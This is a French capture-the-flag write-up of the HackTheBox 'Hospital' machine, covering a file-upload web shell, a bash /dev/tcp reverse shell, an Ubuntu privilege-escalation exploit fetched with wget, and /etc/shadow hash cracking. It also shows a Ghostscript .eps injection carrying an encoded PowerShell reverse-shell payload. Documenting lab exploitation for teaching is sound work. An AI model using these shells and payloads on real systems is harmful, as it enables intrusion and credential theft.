> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Compte rendu de Hospital HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération Web
* Abus des téléversements de fichiers avec l'outil p0wny-shell
* Cassage d'un mot de passe haché protégé
* Injection de commande via fichier de type .eps
* Élévation de privilèges de domaine
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/76c5533493b98a817ccf289bb161ceaadfafc0cd" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/36cd4f7c08c7fa3a08dc37cf5d56cc4c98a1adc1" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="/files/fecf3013b5571e0569ff218f31ac3a7375abeb44" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ Utilisation de la fonction extractport pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/5c2cd9a69b72c36aa462823abf2d3120a776cc7c" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="/files/7d9a94c31dce7febb97aa39ec786f8d1566a2ece" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a6642b18da5a3b7e295dd3b941484e79172c4e7" alt=""><figcaption></figcaption></figure>

**Identification de l'interface du port 443**

<figure><img src="/files/f4480b2991fdd4d0f7229f0131894cb0a7d689a0" alt=""><figcaption></figcaption></figure>

**Identification de l'interface du port 8080**

<figure><img src="/files/4870cef63da6af6dfc04fa8ebc5ed0eba5c52797" alt=""><figcaption></figcaption></figure>

**Création d'utilisateur :**

Création d'un utilisateur pour établir un accès potentiel à la machine cible

<figure><img src="/files/83f0b31abac0610c65fe074c865bfa121e2c784d" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichier :

<figure><img src="/files/e153b71b8b9eeb7f91093c3940b5bead713f2f52" alt=""><figcaption></figcaption></figure>

#### Exploitation initiale :

Tentative d'exploitation d'une vulnérabilité de téléchargement de fichier en insérant un fichier PHP malveillant

```php
<?php
system($_GET['cmd'];
?>
```

Le serveur rejette automatiquement les demandes de téléversement pour les fichiers ayant certaines extensions.

<figure><img src="/files/fa6f60a424d84778ef7e39c007fe1f7c8d91f60b" alt=""><figcaption></figcaption></figure>

**Interception avec Burp Suite :**

Utilisation de Burp Suite pour intercepter et analyser le trafic afin de comprendre les erreurs de fonctionnement

<figure><img src="/files/d68de581d19e351e41640c44ea1902c244553ba6" alt=""><figcaption></figcaption></figure>

#### Modification de l'extension PHP :

Changer l'extension du fichier de `.php` en `.phar` dans le `filename` variable, et assurez-vous que l'emplacement est bien accepté

<figure><img src="/files/c79de78fd2733b050ea99101939525bb86fe7ba3" alt=""><figcaption></figcaption></figure>

**Résumé des répertoires :**

Utilisation de Gobuster pour identifier les répertoires sur un serveur web et localiser le stockage des images médicales téléversées.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/eb7d1a8c8648f119cbe3eb32be031fc214251e7b" alt=""><figcaption></figcaption></figure>

#### Fichier non interprété :

Le contenu d'un fichier a.phar n'est pas interprété.

<figure><img src="/files/32f98756e0a744bf4cfa26173519db2e2de0bc73" alt=""><figcaption></figcaption></figure>

**Utilisation de l'outil GitHub pour créer un shell :**

Utilisation d'un projet GitHub pour contourner les restrictions de téléchargement de fichiers PHP et obtenir un accès shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/a459a396e3d0f383daf3a260b00e13b6848e838a" alt=""><figcaption></figcaption></figure>

**Lancement d'un shell inversé :**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Lancez un shell inversé pour établir un accès interactif à la machine cible et en prendre le contrôle total.

<figure><img src="/files/6255a64bfef0749051dd10939e78d7c3c6292a30" alt=""><figcaption></figcaption></figure>

#### Une fois l'accès au serveur Linux obtenu, voici les commandes à exécuter pour le traitement dans le terminal :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilèges (serveur Linux) :

**Identification de la version du système d'exploitation :**/ Utilisez la `cat /etc/os-release` commande pour vérifier la version du système, notez la présence d'une ancienne version d'Ubuntu (« 23.04 »).

<figure><img src="/files/f88a0aa5b584b346b3b83b8158f97880b376d372" alt=""><figcaption></figcaption></figure>

#### **Téléchargement du script d'élévation de privilèges :**

Téléchargez le script depuis [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), qui permet l'élévation de privilèges :

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/9323c01c4d2ae73b113cbbfcc4b41ad90bb26f51" alt=""><figcaption></figcaption></figure>

#### **Extraction des mots de passe hachés :** Extraire les mots de passe hachés depuis `/etc/shadow` .

<figure><img src="/files/07872927167492fbb782a41b5514707c546aafd7" alt=""><figcaption></figcaption></figure>

**Cassage des mots de passe :**

Utilisez l'outil John the Ripper avec une liste de mots de passe connue pour casser des mots de passe :

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/ee9f27c0a33d0b140297028467f3230fe030d602" alt=""><figcaption></figcaption></figure>

## Vulnérabilité : injection de fichier .eps

#### Testez les identifiants sur le site web accessible via le port 443.

<figure><img src="/files/378286966086dd8ac5d595487d58c4c25e806d3b" alt=""><figcaption></figcaption></figure>

**Découverte d'une boîte aux lettres restreinte :**

Découvrir une boîte mail qui souhaite recevoir un design au format .eps.

<figure><img src="/files/5abc088a8f7dd32f51eb845499b53e87090a23ef" alt=""><figcaption></figcaption></figure>

**Exploitation de Ghostscript via un fichier .eps :**

Utilisez un [Exploit GitHub](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) basé sur [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) pour exécuter du code malveillant via une `.eps` extension de fichier.

<figure><img src="/files/9d71fa5faf18c40871406918a78b13144bcd9d2d" alt=""><figcaption></figcaption></figure>

#### Utilisez [RevShells](https://www.revshells.com/) pour créer le payload PowerShell :

<figure><img src="/files/998ef9d99dce5230c25ed3d0a9694ca44b46009f" alt=""><figcaption></figcaption></figure>

#### Injection du payload dans le fichier .eps :

Utilisation de la commande pour injecter le payload avec le shell inversé dans le fichier .eps.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApAD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src="/files/ae4e41b67377e1b81b865e84843de6338c20df3b" alt=""><figcaption></figcaption></figure>

#### Écoute avec rlwrap :

Configuration de l'écoute avec rlwrap en attente d'une connexion entrante.

```bash
rlwrap nc -nlvp 4444
```

#### Envoi d'un e-mail avec un fichier EPS malveillant :

<figure><img src="/files/9b78fe7a7ee29a61942179edd00fbb9e8ccc7f24" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b571c0abce909be3d1b829fa699c9a4ce706115f" alt="" width="563"><figcaption></figcaption></figure>

#### Découverte d'un fichier ghostscript.bat :

Découverte d'un fichier ghostscript.bat contenant le mot de passe de "drbrown" : `chr!$br0wn`

<figure><img src="/files/a066450d478054ca3d23811ae30e83cb3173375a" alt=""><figcaption></figcaption></figure>

#### Première flag user.txt :

Découverte et récupération du premier flag user.txt.

<figure><img src="/files/5c88bf5d882e2f69afe88c2c2558866999957175" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges Active Directory :

#### Élévation de privilèges en accédant au serveur web XAMPP.

<figure><img src="/files/af8827987566fab3b55534b0c5befa5336436b4e" alt=""><figcaption></figcaption></figure>

#### Création d'un fichier PHP :

Créer un fichier PHP contenant le code "this is a test".

```bash
echo "this is a test" > test.php
```

#### Vérification du serveur web :

Vérifiez que le serveur web insère correctement le fichier PHP.

<figure><img src="/files/355a9cdc8c6222fa5ad89e78b61321f0c8b8f536" alt=""><figcaption></figcaption></figure>

#### Réinjectez le fichier PHP depuis le [p0wny-shell](https://github.com/flozz/p0wny-shell) projet :

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="/files/640cf29d991d37b59984477ab685a5b322f1f07b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6cafd93cad354a8be4c1918822dbd79721c049c6" alt=""><figcaption></figcaption></figure>

#### Copiez le [shell inversé](https://www.revshells.com/) payload dans le terminal pownyshell :

<figure><img src="/files/a51abfef99bdd0c75424b145475f841dcd0e3b49" alt=""><figcaption></figcaption></figure>

#### Écoute avec rlwrap :

```bash
rlwrap nc -nlvp 4444
```

### Flag root.txt obtenu :

<figure><img src="/files/0ea6272a60b300b32d77614384d831506791b40c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/024ef8ba8d2367fd96f2008c508687edca21ffc8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
